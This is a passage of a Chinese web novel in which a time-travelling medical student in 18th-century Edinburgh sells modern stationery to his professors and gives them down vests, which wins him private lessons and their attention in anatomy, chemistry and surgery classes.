麦凯夫人来打扫的时候,明显感觉到了变化。
"菲利普斯先生,"她站在灶台前,看着那瓶酱油和那罐醋,语气里带着困惑,"这些东西……你什么时候买的?我没在纸条上看到过。"
"一个朋友寄来的。"西奥多说,"从伦敦那边寄的调味料,这边买不到。"
麦凯夫人将信将疑地拿起酱油瓶闻了闻,眉头皱了一下,又松开了。
"味道倒是挺好闻的。"
"嗯,做菜可以放一点。"
从那以后,麦凯夫人再也没问过。她是个识趣的人——雇主的事,不该问的不问。
西奥多没有冰箱——系统商城里最便宜的小型冰箱要两千多块,他买不起。他靠的是冬天最简单的办法:把需要保鲜的东西放在窗台上,爱丁堡十一月气温在零度上下,天然冷藏。肉买回来当天吃不完就用盐腌上,蔬菜随买随吃,不留隔夜的。
日子就这么过下来了。
不算富裕,但和刚来的时候已经判若两人。
---
变化发生在第五周。
那天是周四,西奥多照例在教室后排的角落里把货交给詹姆斯。小包裹用旧报纸包着,和之前没有任何区别。詹姆斯接过去,塞进书包,一切照常。
但詹姆斯走出教室之后,孟罗教授的助教——一个三十来岁的瘦高个男人,叫格里尔先生——从走廊尽头走过来,拦住了他。
西奥多没看到这一幕。他是后来从詹姆斯嘴里听说的。
"格里尔先生问你那包东西是什么。"詹姆斯晚上来送钱的时候说,表情有些紧张,"我说是我自己的文具。他看了我一眼,没说话就走了。"
西奥多想了想。
"他看见报纸包的形状了?"
"应该没有。我塞进书包里了。"詹姆斯顿了一下,"但他可能之前就注意到了。你知道的,最近用铅笔的人太多,上课的时候虽然不用,但图书馆里——"
"我知道了。"西奥多说,"不用紧张。他没说什么就说明没什么。"
但他的心里已经起了警觉。
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接下来几天,西奥多特意观察了一下。
格里尔先生照常在教室里帮忙维持秩序、发放讲义,没有任何异常。孟罗教授照常上课,照常点名提问,照常用那种不带任何感情的目光扫过每一个学生。
没有变化。
但到了下周二,一件意想不到的事发生了。
那天下午化学课结束后,西奥多正在收拾笔记本,一个人走到他面前。
他抬头一看——是格里尔先生。
"菲利普斯先生。"格里尔先生的声音不大,语气很客气,"能借一步说话吗?"
西奥多站起来,跟着他走到走廊尽头。
格里尔先生左右看了一眼,然后从大衣口袋里掏出一样东西——一支铅笔。
不是Borrowdale的。是西奥多的。
"这个,"格里尔先生说,"是你卖给学生们的那个牌子?"
西奥多没有否认,也没有承认。他只是看着那支铅笔,等对方说下去。
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"我在图书馆捡到的。"格里尔先生说,"掉在书架下面,不知道是谁的。我试了一下——确实比Borrowdale的好用。"
他停了一下。
"孟罗教授也看到了。"
西奥多的心跳快了半拍,但脸上没有任何变化。
"上周在解剖室里,一个学生用这种笔画了一张肌肉图,孟罗教授看了之后问了一句''什么笔'',那个学生说是从你这边代购的。孟罗教授没有说什么,但他让我来找你问一下——这种笔,还能不能弄到?"
西奥多沉默了两秒。
他在心里飞速评估了一下风险。
教授找他买铅笔——这事本身不是坏事。如果教授也用他的铅笔,那就等于给他做了最高级别的背书。
"可以。"西奥多说,"但和给学生的一样——数量有限,需要等。"
"没问题。"格里尔先生说,"多少钱一支?"
"给学生十便士。"
格里尔先生点了点头,没有还价。
"那给我来十支。橡皮也来十块。纸的话——"他想了想,"五十张。"
西奥多在心里算了一下。十支铅笔、十块橡皮、五十张纸,按学生的价格是——一百便士加一百便士加十便士,两百一十便士。
"便士就行。"他说。
格里尔先生笑了一下,从口袋里掏出一小布袋,放在走廊的窗台上。
西奥多把便士收起来。
"下周四给你。"
格里尔先生点了点头,转身走了。
西奥多站在走廊里,看着那些便士在掌心里堆成一小堆,心里忽然觉得有点荒诞——他现在居然在给教授送货。
但荒诞归荒诞,钱是不会骗人的。
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接下来的一周,事情的发展更加出乎他的意料。
格里尔先生拿到货之后,转交给了孟罗教授。西奥多不知道孟罗教授用了那支铅笔之后是什么反应,但他知道一件事——
布莱克教授也来找他了。
那天是周三,化学课结束后,布莱克教授没有像往常一样直接离开,而是走到西奥多的座位旁边,停了下来。
他个子不高,面容清瘦,看起来比孟罗教授温和许多,但眼神很锐利。
"你就是菲利普斯?"
"是的,教授。"
"孟罗教授跟我说了你的铅笔。"布莱克教授说,"我也想要几支。另外,那种橡皮和纸也一起。"
西奥多心里"咯噔"了一下——孟罗教授居然主动跟布莱克教授提了这事?
"好的,教授。和之前一样,十便士一支——"
"我知道价格。"布莱克教授摆了摆手,"给我来十五支铅笔,十五块橡皮,一百张纸。便士我下周带来。"
十五支。比孟罗教授还多五支。
"好的。"
布莱克教授点了点头,转身要走,又停了一下。
"对了,菲利普斯——"他回头看了一眼西奥多摊在桌上的笔记本,"你在图书馆借了不少书?"
西奥多心里一紧。
"课余时间翻了一些。"
"哪些?"
"库伦的《药学基础》和《病理学纲要》,还有……"他想了一下,决定说一半真话,"《临床实践导论》翻了大半,哈维的《心血运动论》看了一部分。"
布莱克教授的眉毛微微抬了一下。
"哈维的《心血运动论》?"他说,"那本书是拉丁文写的。"
"我拉丁文还过得去。"西奥多说。
布莱克教授看了他几秒,没再说什么,走了。
西奥多坐在位子上,手心有点潮。
他知道,布莱克教授刚才那几句话不是随便问的。一个入学不到两个月的医学生,在课余时间读了库伦的著作和哈维的《心血运动论》——这件事在任何教授眼里都不太寻常。
好还是坏?
他还不确定。
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11. 第 11 章
接下来几天,他又接到了两笔"教授订单"。
一笔来自药学的卡伦教授——对,就是那个库伦,威廉·卡伦,爱丁堡医学院最有名的临床医学教授,布莱克的老师。他通过助教传话,要了二十支铅笔、二十块橡皮和两百张纸。
另一笔来自病理学的格雷戈里教授,要了十支铅笔、十块橡皮和一百张纸。
四笔教授订单加在一起——
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【教授订单汇总】
孟罗(格里尔代):铅笔10支,橡皮10块,纸50张→210便士
布莱克:铅笔15支,橡皮15块,纸100张→310便士
卡伦:铅笔20支,橡皮20块,纸200张→510便士
格雷戈里:铅笔10支,橡皮10块,纸100张→210便士
教授订单总收入:1,240便士
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成本——
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铅笔55支×0.35元=19.25元
橡皮55块×0.50元=27.50元
白纸450张×0.024元=10.80元
总成本:57.55元
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一千二百四十便士。
他没有把这些便士攒着。当天晚上就回收到了系统里——1,240便士×0.5元/便士=620元。
五十七块五毛五的成本,换回来六百二十块人民币。
系统余额一下子从三开头跳到了四千多。
西奥多看着光屏上跳动的数字,沉默了很久。
教授们出手确实比学生阔绰得多。学生买铅笔是一支一支地买,纸是十张十张地买;教授一开口就是十支、十五支、二十支,纸直接要两百张。而且没有人还价,没有人犹豫,甚至连问都不多问一句——好像十便士一支铅笔这个价格对他们来说跟十便士一个面包一样随便。
也许对这些人来说确实差不多。孟罗教授的年薪大概在几百镑,卡伦教授在爱丁堡行医多年,收入更高。几百便士对他们来说就是几天的出诊费。
他把数字记好,合上速记本。
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周四下午,西奥多照例去交货。
这次他多留了一个心眼——没有在教室里交,而是分别送到各位教授的办公室。教授的办公室在医学院的二楼走廊里,一间一间的小房间,门上钉着名字牌。
先送孟罗教授的。格里尔先生在办公室里,接过包裹,点了一下数量,把便士数好放在桌上。
"菲利普斯先生,"格里尔先生收好东西之后忽然说,"孟罗教授让我问你一个问题。"
"什么问题?"
"上周他在解剖室里看到一张肌肉图——不是课上的作业,是有人自己画的。画得非常精细,每块肌肉的起止点、纤维走向、神经支配都标得清清楚楚。他问了一圈,有人说是你画的。"
西奥多心里警觉起来。
"是我画的。"他说。
"孟罗教授想看看你其他的图。"
西奥多想了想。
"我回去整理一下,过几天带来。"
格里尔先生点了点头,没再多说。
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送布莱克教授那一份的时候,情况不太一样。
布莱克教授的办公室门半开着,西奥多敲了敲门,里面传来一声"进来"。
他推门进去,把包裹放在桌上。
"十五支铅笔,十五块橡皮,一百张纸。"
布莱克教授正在看书,抬起头看了一眼包裹,没有立刻去拆。
"菲利普斯,坐。"
西奥多在对面坐下来。
布莱克教授合上手里的书,看着他。
"我问过图书馆的管理员了。"他说。
西奥多的背微微绷紧了。
"你说你在课余时间翻了库伦和哈维。但管理员告诉我,你过去五周借阅了十四本书。"
西奥多没有说话。
"十四本。"布莱克教授重复了一遍,"其中七本是课程内的参考书——这很正常,很多认真的学生都会提前看。但另外七本不是。有布朗的《植物分类学》,有胡克的《显微观察》,还有三本拉丁文的——包括哈维的那本。"
他停了一下。
"医学是一门严谨的学科,医学著作可不是通俗小说。"布莱克教授的语气不算严厉,但带着一种审视的意味,"我想知道你这么做的意义。"
西奥多沉默了几秒。
"抱歉,教授。"他说,"我只是泛读了一遍,让脑子里有个大概的框架。并没有深入理解。我只是觉得……如果提前知道后面会学到什么,等真正学到的时候,就能知道去哪里找资料。"
他斟酌了一下措辞。
"比如孟罗教授讲骨骼的时候提到了关节的结构,但我已经在哈维的书里看过关于心脏瓣膜的描述——两者的原理有相似之处,都是单向阀门。如果我没有提前看过哈维,可能就不会想到这一层。"
布莱克教授看着他,沉默了一会儿。
"你有自己的学习节奏。"他的语气缓和了一些,倒是带着一点好奇,"那你觉得这种读法,有什么心得吗?"
"有。"西奥多说,"我发现不同学科之间有很多重合的地方。解剖学讲肌肉,化学讲气体,看起来是两回事,但放到呼吸这件事上就串在一起了——呼吸肌的收缩驱动胸腔运动,胸腔运动改变肺内气压,气压差驱动气体在血液里溶解。单独看任何一科都解释不了呼吸的全过程,但合在一起就通了。"
布莱克教授的手指在桌面上轻轻敲了一下。
这个动作很小,但西奥多注意到了——他的手指停顿了,说明这句话触动了他。
"你继续看。"布莱克教授说,"但别贪多。一本书没消化就翻下一本,那是走马观花,不是学习。"
"我记住了。"
布莱克教授站起来,走到书架前,抽出一本厚书,放在西奥多面前。
"这本书,你拿去看。看完还我就行。"
西奥多低头看了一眼——是一本关于呼吸生理的专著,英文的,作者他没听说过,但翻开目录扫了一眼,发现里面讨论了很多超越这个时代常规认知的内容,包括气体在血液中的运输方式、呼吸的化学调节机制等等。
"谢谢教授。"他说。
布莱克教授摆了摆手,示意他可以走了。
西奥多站起来,走到门口的时候,布莱克教授在身后说了一句:
"菲利普斯——你的铅笔生意做得不错,但别让它耽误了正事。"
西奥多回过头。
"不会的,教授。"
他关上门,在走廊里站了三秒,然后深吸一口气,往楼下走。
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那天晚上回到住处,西奥多坐在书桌前,没有立刻打开笔记本。
他在想布莱克教授最后那句话。
"别
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让它耽误了正事。"
这句话听起来像是叮嘱,但西奥多听出了另一层意思——布莱克教授不在乎他做不做生意。布莱克教授在乎的是他的脑子。
一个入学不到两个月就能自己打通跨学科逻辑的人,如果把时间花在卖铅笔上,那就太浪费了。
这让他安心了一些。至少在布莱克教授眼里,他的价值不是那几支铅笔,而是他脑子里的东西。
这是他最想维持的印象。
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但他也没打算放弃卖铅笔。
五十七块钱换六百二十块的事,傻子才不干。
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真正让西奥多决定"做点什么"的,是第二天的事。
周五上午,解剖课结束后,孟罗教授破天荒地没有直接离开。他站在讲台上,翻着讲义,等所有人都走了之后,叫住了西奥多。
"菲利普斯,你留下来。"
西奥多走过去。
孟罗教授从讲台上拿起一张纸——那是他之前说想看的肌肉图。西奥多昨天整理好了带过来的。
孟罗教授把图展开,看了很久。
图上有六幅画——头面部肌肉、颈部肌肉、胸背部浅层肌肉、胸背部深层肌肉、上肢肌和下肢肌,每幅都是前视图和侧视图双视角,线条干净,标注密集。
"这是你画的?"
"是。"
孟罗教授没说话,手指在图上慢慢移动,从额肌一路滑到胸锁乳突肌,又从斜方肌移到背阔肌。
"你的肌肉纤维走向画得很准确。"他说,"这不是从黑板上学来的——我上课画的图没有这么细。"
"我是对照着书上的描述画的。"西奥多说,"《解剖学原理》第三章到第八章,每一块肌肉的起止点描述都有,我按照描述推出来的纤维方向。"
"推出来的?"
"肌肉的纤维走向不是随意的。"西奥多说,"从起点到止点,纤维会沿着最短的力线排列——这是力学的基本原理。只要知道起点和止点的位置,再加上肌肉的形状,就能推断出纤维的大致走向。书上虽然没有直接画出来,但描述里给了足够的信息。"
孟罗教授抬起头看着他。
这一次,他的眼神和布莱克教授不一样——布莱克教授是好奇,孟罗教授是审视。
"你知道你刚才说的那个逻辑,大部分解剖学教师都没想到吗?"孟罗教授说。
西奥多没有接话。
孟罗教授把图收起来,放在讲义旁边。
"你可以走了。"
西奥多转身要走。
"等一下。"
西奥多停住。
孟罗教授从讲台后面绕出来,走到他面前,伸手——不是握手,而是拿讲台上的一支粉笔。
他们的手指碰到了。
西奥多愣了一下。
孟罗教授的手指冰得像铁。不是那种稍微有点凉的温度,是真的冰冷,像是刚从冰水里捞出来的。西奥多下意识地看了一眼——孟罗教授的手指微微发红,指节有些肿,指甲的颜色偏暗。
孟罗教授似乎察觉到了他的目光,把手缩了回去,拿起粉笔,在讲台上写了几个字。
"下周讲上肢肌,提前看一下。"
"好的,教授。"
西奥多走出教室,在走廊里停了下来。
他低头看了看自己的手——刚才碰到孟罗教授手指的那几根,还残留着一丝冰凉的触感。
---
12. 第 12 章
接下来的几天,西奥多一直在想这件事。
他没有刻意去观察孟罗教授的手——那太明显了。但上课的时候,他的目光会不由自主地落在教授翻讲义的那双手上。指尖泛着不正常的青白色,翻页的时候偶尔会微微打滑,有一次写板书举着手太久,放下的时候他注意到教授无意识地搓了两下手背。
爱丁堡十一月的教室没有暖气,所有人都冷,但孟罗教授的冷和其他人不一样。其他人是哆嗦、跺脚、把手缩进袖子里。孟罗教授是那种从里面透出来的冷,像是血液本身就不带温度。
他又想起自己穿的羽绒马甲。
八十块钱一件。轻、薄、暖,穿在大衣里面完全看不出来。
他把这个念头压下去好几次,又在课堂上看见教授搓手的时候浮起来。
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三天前的周六,西奥多在课堂上看见孟罗教授翻讲义时手指又抖了一下。他在心里犹豫了三天,终于在周二下午,敲响了孟罗教授办公室的门。
他左手拎着一个布包,右手夹着一个纸包。布包里是一件叠得整整齐齐的黑色羽绒马甲——他昨晚在系统里翻了好久,选了最简洁的款式,黑色,没有任何多余装饰,穿在大衣里面完全看不出来。纸包里是答应帮格里尔先生采购的一批铅笔。
“进来。”
格里尔先生开的门。他看到西奥多,点了点头。
“菲利普斯先生,铅笔送来了?”
“送来了。”西奥多把纸包放在桌上,然后指了指手里的布包,“还有一件东西,想当面交给孟罗教授。方便吗?”
格里尔先生看了布包一眼,没多问,转身进了里间。片刻后出来,侧身让开门口:“教授请您进去。”
孟罗教授坐在书桌后面,面前摊着一本厚厚的讲义,老花镜压在鼻梁上。他抬起头看了西奥多一眼,摘下眼镜。
“菲利普斯先生,坐。”
西奥多没有坐下。他站在书桌前,把布包打开,马甲叠得整整齐齐。
“教授,这是我的一点心意。”他说,语气平静,“不是什么贵重的东西,就是一件保暖的衣物。我在教室里注意到您的手有时候会冷。爱丁堡的冬天太长了,您每天要在教室里站那么久,应该穿得暖和些。”
他顿了顿。
“我不知道您喜欢什么颜色,就选了最普通的黑色。穿在大衣里面,看不出来。”
孟罗教授没有说话。
他看着桌上那件马甲,沉默了好一会儿。西奥多看不清他的表情,只看见他放在桌面上的手指微微动了一下。
“你注意到我的手会冷?”孟罗教授问。
“在教室里注意到了。”西奥多说,“您翻讲义的时候,指尖有时候会发白。”
孟罗教授低下头,看了一眼自己的手,又抬起头看西奥多。
“你学了多久的医?”
“不到两个月。”
“两个月就能注意到这些?”孟罗教授的声音有些哑,“我教了三十年书,没几个学生会在意老师的手冷不冷。”
西奥多没有接话。
孟罗教授伸手拿起那件马甲,在手里掂了掂。他的动作很慢,像是在称量一件贵重的东西。手指捏了一下面料,停了片刻。
“鹅绒的。”西奥多说,“比羊毛轻,也暖和得多。穿在大衣里面,外面完全看不出来。”
孟罗教授把马甲放下,摘下老花镜,靠在椅背上。
“我年轻的时候,”他说,“在荷兰莱顿大学读书。那里的冬天比爱丁堡还冷。我的老师伯尔哈维——你知道伯尔哈维吗?”
“知道。”西奥多说,“现代临床教学的奠基人。”
“他冬天上课的时候,手上总是戴着一副旧手套。”孟罗教授的声音很轻,像是在讲一个很久远的故事,“那副手套破了洞,指头露在外面。我那时候想,等我当了老师,一定不能让手冻着。结果当了三十年老师,还是冻着了。”
他自嘲地笑了笑。
“东西我收下了。”孟罗教授点了点头,把马甲重新叠好,放进布包里,“替我谢谢你的好意。”
他从抽屉里取出两张硬卡片,放在桌上,推到西奥多面前。
西奥多低头一看。卡片上没有文字,没有署名,只有右上角盖着一个红色的小印章——那是爱丁堡大学解剖学实验室的专用标记。
“这是什么?”西奥多问。
“高级解剖课的听课证。”孟罗教授说,“每学期我带几个学生进解剖室,实际操作。人数不多,十五个人。这是两张——一张给你,另一张给你想给的人。”
西奥多愣了一下。
“教授,我——”
“你不想要?”
“想要。”西奥多说,“但我送这件马甲,不是想要这个。”
“我知道。”孟罗教授看着他,目光平静,“你是第一个注意到我手冷的学生。就凭这一点,你有资格进我的解剖室。”
他把卡片又往西奥多面前推了推。
“拿着。”
西奥多伸出手,把两张卡片收进口袋里。
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从孟罗教授办公室出来,他没有直接回住处。他回了一趟住处,把另外三件马甲取出来,分别装好,然后去了布莱克教授那里。
布莱克教授是化学课的授课人。开学两个月,西奥多对他的印象是:瘦,清瘦得像是被爱丁堡的风吹干了。他的大衣挂在办公室门后的衣架上,领口磨得发白,袖口也有线头——不是什么体面的打扮,但他本人似乎毫不在意。
西奥多敲门的时候,布莱克教授正在写什么东西。
“进来。”
西奥多推门进去。布莱克教授抬起头,看了他一眼,放下笔。
“菲利普斯先生,有什么事?”
西奥多从布包里取出一件黑色马甲,放在桌上。
“教授,这是我的一点心意。不是什么贵重的东西,就是一件保暖的衣物。”他说,“我在教室里注意到您穿得不多。爱丁堡的冬天冷,您每天上课,应该穿得暖和些。”
布莱克教授看着那件马甲,没有立刻说话。
“你给每个人都送了?”他问。
“只送了几位教授。”西奥多说,“我注意到几位教授冬天都穿得不多。可能你们自己不在意,但我在意。”
布莱克教授看了他一眼。
“你在意?”
“我在意。”西奥多说,“我是学医的。一个人穿得够不够暖,我一眼就能看出来。”
布莱克教授沉默了一会儿,然后拿起那件马甲,放在手里掂了掂。
“鹅绒的?”
“是的。”
“比羊毛轻。”
“也比羊毛暖和。
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”
布莱克教授点了点头,把马甲叠好,放在桌角。
“东西我收下了。”他说,“谢谢你,菲利普斯先生。”
西奥多告辞出来,站在走廊里犹豫了一下。
卡伦教授和格雷戈里教授的办公室在另一栋楼。他没有犹豫太久,直接去了。
卡伦教授不在。他把马甲留在门房,留了一张纸条,上面写着:“卡伦教授,一件保暖的衣物,不值什么钱,望您别嫌弃。——西奥多·菲利普斯”
格雷戈里教授在。他是个胖乎乎的老头,说话慢吞吞的,看起来很好说话。西奥多把马甲递过去的时候,他愣了一下,然后笑了。
“给我的?”
“给您的。”
格雷戈里教授把马甲展开看了看,又捏了捏,点了点头。
“好东西。”他说,“谢谢你,菲利普斯先生。”
他没有多问,也没有推辞。
---
一周之后,西奥多去图书馆还书,管理员叫住了他。
“菲利普斯先生,卡伦教授留了一样东西在这里,说让你来取。”
西奥多走过去。桌上放着一本书,旁边压着一张纸条。纸条上只有一行字,笔迹苍劲有力——
“书不错。马甲也很暖和。——W. C.”
西奥多把纸条看了一遍,折好,放进笔记本里。
又过了两天,他在图书馆门口碰到了布莱克教授。布莱克教授穿着那件深蓝色的大衣,领口没有系紧——西奥多瞥了一眼,大衣里面露出一小截黑色内衬。
是那件马甲。
“教授。”西奥多打招呼。
“菲利普斯。”布莱克教授点了点头,从口袋里掏出一张卡片,递给他。
西奥多接过来一看——一张听课证,印章是化学实验室的标记。
“我下周开始讲一堂小课,”布莱克教授说,“不在大教室,在我自己的实验室里。人数不多,你可以来。”
西奥多把卡片攥在手心里。
“谢谢教授。”
布莱克教授看了他一眼,转身走了。走出几步又停下来,没有回头。
“马甲很好。很暖和。”
然后他走进了风雪里。
西奥多站在图书馆门口,看着他的背影。
三件马甲,一百多块钱。
换来两张听课证——加上孟罗教授给的两张,已经三张了。
他把手里的卡片揣进大衣口袋,和那两张解剖课的放在一起,嘴角微微翘起。
---
十二月的爱丁堡,白天短得像眨了一下眼。
早上八点多天才亮,下午三点半太阳就沉下去了,四点一过街上的路灯就得点起来。风从北边的福斯湾灌进来,裹着潮气,不是干冷,是那种往骨头缝里钻的湿冷。街上行人的脚步比十一月又快了一成,说话嘴里冒着白雾,呼出来的气在围巾上结成一层细密的水珠。
西奥多裹着大衣走在路上,大衣里面是羽绒马甲,马甲里面是棉衬衣,三层叠在一起,暖和得像裹了一床被子。他的手插在口袋里,指尖碰着一把铜便士——上周的零散收入,还没来得及回收。
他现在走路的时候会刻意放慢半拍。不能比别人暖和太多,不能比别人从容太多。偶尔要缩一下脖子,偶尔要搓一下手,偶尔要让眉毛上挂一点霜。
13.第 13 章
第十三章被点名的人
周一上午,解剖课。
孟罗教授走进教室的时候,目光照例扫了一圈。以前这个目光是扫所有人的,平等的、冷漠的、不带任何偏好的。但从这周开始,西奥多感觉到了细微的变化——那道目光在他身上多停了大约半秒。
半秒而已。但足够了。
"今天讲上肢肌。"孟罗教授翻开讲义,"三角肌、冈上肌、冈下肌、小圆肌、肩胛下肌——这五块肌肉构成肩袖,是肩关节最重要的稳定结构。"
他在黑板上画了一个肩关节的示意图,线条很快,但结构清晰。
"菲利普斯。"
西奥多站起来。
"上来帮我固定标本。"
教室里轻微地动了一下。几十双眼睛同时看向西奥多。
在爱丁堡医学院,"固定标本"不是一个随便安排的活。解剖课上用的尸体标本通常由助教提前准备好,学生只负责观察和画图。但偶尔——非常偶尔——教授会让某个学生上台协助,帮忙翻转肢体、牵拉开某一层筋膜、或者按住某个部位方便教授下刀。
这种事不公开选拔,完全看教授心情。
西奥多走上讲台。讲台旁边的小桌上放着一截上肢标本,从肩部到指尖,已经做了初步剥离,皮肤和浅筋膜去掉了,露出了下面红白相间的肌肉组织。
"把肩关节外展,大概七十度。"孟罗教授说。
西奥多戴上手套——这副手套是他自己买的,羊皮的,花了两先令——一手托住上臂,一手握住前臂远端,轻轻把肩关节外展到指定角度。动作很稳,标本没有晃。
孟罗教授看了他一眼,没说什么,开始下刀。
他在三角肌的前缘切了一刀,然后用钳子把肌肉翻起来,露出深面的冈上肌腱。
"看这里——"孟罗教授用刀柄指着,"冈上肌腱从肩胛骨冈上窝出发,穿过肩峰下方,止于肱骨大结节。它是肩袖里最容易损伤的一条肌腱,因为它的位置最浅,被肩峰和喙肩韧带压着,肩关节外展的时候会跟它发生摩擦。"
他一边说一边操作,西奥多配合着他的节奏,在他需要暴露某个角度的时候微调标本的位置,在他需要更大操作空间的时候把周围的软组织轻轻拨开。
中间出了一个小插曲。孟罗教授在分离冈下肌和小圆肌之间的筋膜时,标本的肩关节因为重力作用往下坠了一点,暴露的角度偏了。
西奥多没有等孟罗教授开口,直接把前臂往上托了大约半英寸,同时用另一只手的拇指按住肩胛骨下角固定住。
动作很小,但很及时。
孟罗教授的手顿了一下,然后继续下刀,好像什么都没发生。但他之后的操作速度放慢了一点——不是因为他手慢了,是因为他在一边操作一边解释,解释的内容比平时多了很多。
"冈下肌的纤维从这里到这里——"他的刀柄沿着肌纤维的方向划过,"看到了吗?从内上斜向外下。注意和小圆肌的区别——"
他比平时多讲了两块肌肉的内容。
整个过程大概持续了二十五分钟。
孟罗教授最后收刀的时候说了一句话——
"手很稳。"
就三个字。声音不大,但教室里每个人都听到了。
西奥多把手套摘下来,退回座位。经过詹姆斯身边的时候,詹姆斯用胳膊肘轻轻碰了他一下,脸上的表情像是在说:你看到没有。
后排的里德也看了他一眼,没说话,低头在笔记本上写了什么。
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周三下午,化学课结束后。
西奥多正在收拾笔记本,布莱克教授从讲台那边走过来。
"菲利普斯,留一下。"
周围几个学生看了他一眼,各自散了。詹姆斯在门口犹豫了一下,给西奥多递了一个"我在外面等你"的眼神,也走了。
教室里只剩下两个人。
布莱克教授从讲义下面抽出几张纸,放在西奥多面前。
"这几份药剂配方,帮我重新抄写一遍。字要清楚,格式按我标注的来。"
西奥多拿起来看了一眼——是三张配方单,每张上面写着三四种药物的名称、用量和配制方法,字迹很潦草,有些地方还涂改过。
"这是——"
"我平时用的配方。"布莱克教授说,"给学生配实验药剂的时候用的。但原来的手稿太乱了,我想重新整理一份清楚的存档。"
西奥多明白了。这不是什么重要的事情,就是抄写。但布莱克教授没有交给格里尔先生,也没有交给其他助教,而是交给了他。
"什么时候要?"
"不急,下周给我就行。"
"好的。"
布莱克教授点了点头,拿起自己的书走了。走到门口又停下来。
"抄写的时候注意一下——第三张配方里的''酒精''用量,我怀疑写错了,你自己判断一下。"
西奥多愣了一下。
"让我判断?"
布莱克教授没有回头。"你看了那么多书,总不至于连这个都判断不了。"
门关上了。
西奥多看着那三张配方单,沉默了几秒。
第三张配方上写的是一种外用酊剂的配制方法,其中酒精用量标的是"四盎司"。但根据配方中其他成分的比例和浓度推算,四盎司的酒精会让最终酊剂的浓度过高——外用的话会刺激皮肤。
应该是两盎司。
布莱克教授不是不知道正确用量。他是故意的——他在测试西奥多能不能发现这个错误,敢不敢改。
西奥多把配方单收好,放进书包里。
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周五上午,卡伦教授的理论课。
这门课的正式名称叫"医学原理",内容涵盖了疾病的分类、发热的机制、炎症的基本概念等等。卡伦教授讲课的风格和孟罗教授截然不同——孟罗教授是冷硬的、精准的、不说废话的;卡伦教授是娓娓道来的,喜欢举临床案例,偶尔还会讲一两个轶事。
"关于发热的分类,"卡伦教授说,"目前学界有几种不同的看法。有人按体温高低分,有人按发热的持续时间分,还有人按发热的热型分——间歇热、弛张热、稽留热。但我认为,这些分类方法都只抓住了表象,没有触及本质。"
他转过身,目光在教室里扫了一圈。
"菲利普斯,你觉得呢?"
西奥多站起来。
他已经习惯了——从这周开始,卡伦教授每堂课至少会点他一次名。不是那种"确认你有没有在听"的点名,而是真的在问他的看法。
"教授,我认为问题的关键不在于怎么分类,而在于发热本身是不是一种''疾病''。"
卡伦教授挑了一下眉。"继续。"
"如果我们把发热看作一种症状而不是一种疾病,那分类的意义就变了。"西奥多说,"就像咳嗽——咳嗽不是病,肺炎会咳嗽,感冒也会咳嗽,吸入粉尘也会咳嗽。我们不会按咳嗽的声音来分类疾病,我们按病因来分类。发热应该也一样。"
教室里安静了几秒。
坐在前排的一个高年级学生——西奥多后来知道他叫沃特森,三年级,是卡伦教授课上的常客——转过头来说:
"但咳嗽和发热不一样。咳嗽的病因很明确——异物、感染、刺激。发热的病因到现在都没搞清楚,你按什么分?"
沃特森的语气不算友善,带着一种高年级学生对低年级学生的优越感。
西奥多看了他一眼。
"病因不清楚,不代表不能按病因分类。"他说,"我们现在不知道发热的所有原因,但至少知道一部分——感染可以引起发热,组织损伤可以引起发热,中暑可以引起发热。那就可以先按已知的原因分,未知的原因留一个''待查''。总比按体温高低分有用——同一种病在不同人体温不一样,按体温分,同一种病会被分到不同的类别里去,这有什么意义?"
沃特森张了张嘴,没接上话。
卡伦教授看了西奥多一眼,又看了沃特森一眼。"我就知道你能答上来。"他说,语气平淡,但嘴角微微动了一下,"坐下吧。"
沃特森转回去的时候,耳根有点红。
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同一天下午,外科示教。
外科示教和普通上课不一样,地点在医学院旁边的示教室里,一个长方形的小房间,中间是一张手术台,周围一圈阶梯式的座位。格雷戈里教授站在手术台旁边,正在演示如何处理一个前臂的切割伤。
学生们坐在座位上,最近的离手术台大概有六英尺,最远的有十几英尺。示教室的光线不好,只有屋顶上几扇小天窗透进来的自然光,加上几盏油灯。坐在后排的学生其实看不太清楚。
格雷戈里教授切开皮肤、分离皮下组织、暴露肌腱的时候,忽然抬起头,朝座位方向看了一眼。
"菲利普斯,过来,站近点看。"
西奥多走下座位,站到手术台旁边。离格雷戈里教授不到两英尺。
从这个距离看,一切都不一样了。肌腱的纹理、血管的走向、创面的出血点——清清楚楚。
格雷戈里教授没有解释为什么叫他过来,只是继续操作,偶尔说一句"看这里"、"注意这个角度"。
他在缝合的时候,忽然停下来,侧头看了西奥多一眼。
"看我的手——持针的角度,注意到了吗?"
"不是垂直进针。有一个倾斜。"
"多少度?"
西奥多目测了一下。"大概十五度。"
格雷戈里教授微微点头。"十五度到二十度之间。垂直进针缝合出来的线会翘,不平整。倾斜进针,线就服帖。这个不是教科书上写的,"他补了一句,"你自己看出来的就记住了,看不出来我讲也没用。"
他说完继续缝,速度很快,最后打了一个反方向的结。
"看到最后那个结了吗?"
"看到了。反方向的。"
"为什么?"
西奥多
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想了不到两秒。"防止滑脱。方结的最后一个结如果和前面同向,受力的时候可能松开。反方向就锁死了。"
格雷戈里教授把剪刀放下,看了他一眼。"你以前碰过针线吗?"
"没有。"
"那你的眼睛倒是好使。"格雷戈里教授没再说什么,开始包扎伤口。
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那天晚上,詹姆斯来他住处复习。
这件事从上周开始变成了固定节目——每周两到三次,詹姆斯吃完晚饭就过来,两个人坐在烛光下看书、整理笔记、互相提问。麦凯夫人已经习惯了,每次来还会多备一杯茶。
詹姆斯的笔记还是那么乱,字写得像鸡爪刨的,但他的理解能力其实不差,只是表达跟不上脑子。西奥多有时候看他写了半天写不出来一句话,就替他梳理一遍逻辑,他用自己那种笨拙的方式重新说一遍,反而能把一些复杂的概念解释得很通俗。
"你有没有发现,"詹姆斯翻着笔记本说,"这个月他们四个都变了。"
"哪里变了?"
"以前他们看你的眼神是''这个学生不错'',现在是''这是我的学生''。"詹姆斯想了想措辞,"不一样。前者是夸你,后者是……护着你。"
西奥多看了他一眼。"你想太多了。"
"我才没有。"詹姆斯认真地说,"你今天被叫上去固定标本的时候,里德想凑过去看,格里尔先生直接拦了他。以前格里尔先生可不管这些。"
蜡烛烧了一半,茶凉了。詹姆斯从包里掏出一块面包,掰成两半,递了一半过来。
"我家寄来的。白面的。我妈听说爱丁堡的面包难吃,专门从格拉斯哥寄了一袋面粉过来。"
西奥多接过来。他没有告诉詹姆斯,自己早就不用系统商城以外的面粉了。但詹姆斯给的东西不一样——那不是一块面包,是一种心意。
他咬了一口。"挺好吃的。"
"那当然。"詹姆斯嚼着自己那半块,含糊不清地说,"我妈做的面粉,全格拉斯哥最好。"
"你家是开面粉店的?"
